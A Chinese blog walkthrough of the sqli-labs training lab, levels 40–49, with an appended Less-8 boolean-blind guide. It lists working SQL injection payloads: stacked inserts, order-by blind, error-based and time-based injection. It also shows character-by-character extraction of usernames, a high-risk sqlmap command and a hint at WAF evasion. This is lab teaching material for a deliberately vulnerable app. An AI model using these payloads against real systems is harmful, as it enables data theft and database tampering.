【20171103中】sqli-libs Less 40-49

 

  Less 40:

  题目:

  分析:此题可以实现sql的叠加,即注入的时候可以构成sql1;sql2...执行。

  payload: http://192.168.162.135/sqli-libs/Less-40/?id=1');insert into users(id,username,password) value('100','hello','world')--+

  效果:

  Less 41:

  分析:和Less40类似,payload: http://192.168.162.135/sqli-libs/Less-41/?id=1;insert into users(id,username,password) value('41','hello41','world41')--+

  Less 42:

  题目:

  分析:这题同样是可以叠加注入

  payload: login_user=admin&login_password=1";insert into users(id,username,password) value('42','h42','w42')#&mysubmit=Login

  Less 43 - 45:和Less42类似

  login_user=a&login_password=b');create table less43 like users#&mysubmit=Login

  login_user=a&login_password=b';create table less44 like users#&mysubmit=Login

  login_user=a&login_password=b');create table less45 like users#&mysubmit=Login

  Less 46:

  题目:

  分析:此处是输入sort参数,sql中有效部分是order by XXX,XXX一般构成 表中的列序号 + 升降序,例如:select * from users order by 1 desc;将users表按照第一列降序排序。

    所以这里可以在XXX处注入。用到的是rand()函数,rand()返回0~1的随机数,但是传入整数时,会一直返回一个浮点数,固定不变。所以我们构造rand(ascii(left(database(),1))=115)进行判断数据库名称的第一个字符是不是115,rand参数为一个表达 式,为真,则会是rand(1),否则rand(0),通过页面显示可以看出自己的判断是否正确。

  payload: http://192.168.162.135/sqli-libs/Less-46/?sort=rand(ascii(left(database(),1))=115)

  效果:

  

  Less 47:

  题目:类似Less 46,但是无回现,可通过错误日志显示,因此 payload: http://192.168.162.135/sqli-libs/Less-47/?sort=1' and extractvalue(1, concat(0x7e, database()))--+

  Less 48: 

  题目:类似Less 46,payload: http://192.168.162.135/sqli-libs/Less-48/?sort=rand(ascii(left(database(),1))=115)

  Less 49:

  题目:类似Less 46,无回现,无错误日志,通过时间注入法,payload: http://192.168.162.135/sqli-libs/Less-49/?sort=1' and (if(ascii(left(database(),1))=115, sleep(4), 0))--+

转载于:https://www.cnblogs.com/heijuelou/p/7779830.html

sqli-labs 平台的 Less-8 关卡是一个典型的布尔盲注(Boolean-based Blind SQL Injection)场景。该关卡没有明确的回显信息,攻击者需要通过页面返回的布尔状态(正常或异常)来判断注入语句是否执行成功,从而逐步推断数据库信息。 ### 解题思路 在 Less-8 中,注入点位于 `id` 参数,使用单引号 `'` 作为闭合方式。注入点的基本形式为: ```http http://localhost/sqli-labs/Less-8/?id=1' ``` #### 1. 判断注入点是否存在 尝试构造布尔表达式来验证注入点是否有效。例如: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=1 --+ ``` 如果页面正常显示内容,则说明布尔表达式为真时页面正常;再尝试: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=2 --+ ``` 如果页面无内容或出现错误,则确认存在布尔盲注漏洞。 #### 2. 猜解数据库名称长度 通过 `LENGTH(database())` 函数判断当前数据库名称的长度: ```http http://localhost/sqli-labs/Less-8/?id=1' AND LENGTH(database()) > 5 --+ ``` 逐步调整数值,确定数据库名称的具体长度。 #### 3. 猜解数据库名称 使用 `SUBSTR()` 和 `ASCII()` 函数逐字符判断数据库名称: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR(database(),1,1)) > 97 --+ ``` 通过二分法逐步缩小字符范围,最终确定数据库名称。 #### 4. 猜解表名 假设已知数据库名为 `security`,可以使用以下语句获取表名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取表名,直到完整识别出目标表(如 `users`)。 #### 5. 猜解列名 获取 `users` 表的列名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取列名,如 `username`、`password` 等。 #### 6. 获取数据 最后,获取具体字段的数据,例如用户名和密码: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1)) > 64 --+ ``` 重复上述步骤,逐字符提取敏感信息。 ### 自动化工具辅助 在实际渗透测试中,可以使用如 **sqlmap** 等工具自动完成上述过程。例如: ```bash sqlmap -u "http://localhost/sqli-labs/Less-8/?id=1" --batch --risk=3 --level=5 --dbs ``` 该命令可自动探测数据库信息,并提取表名和字段内容。 ### 注意事项 - 所有操作应在合法授权范围内进行,避免非法入侵。 - 布尔盲注效率较低,建议结合延时注入(Time-based Blind SQL Injection)提升速度。 - 部分 WAF(Web Application Firewall)可能拦截敏感关键字,需对注入语句进行编码或绕过处理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值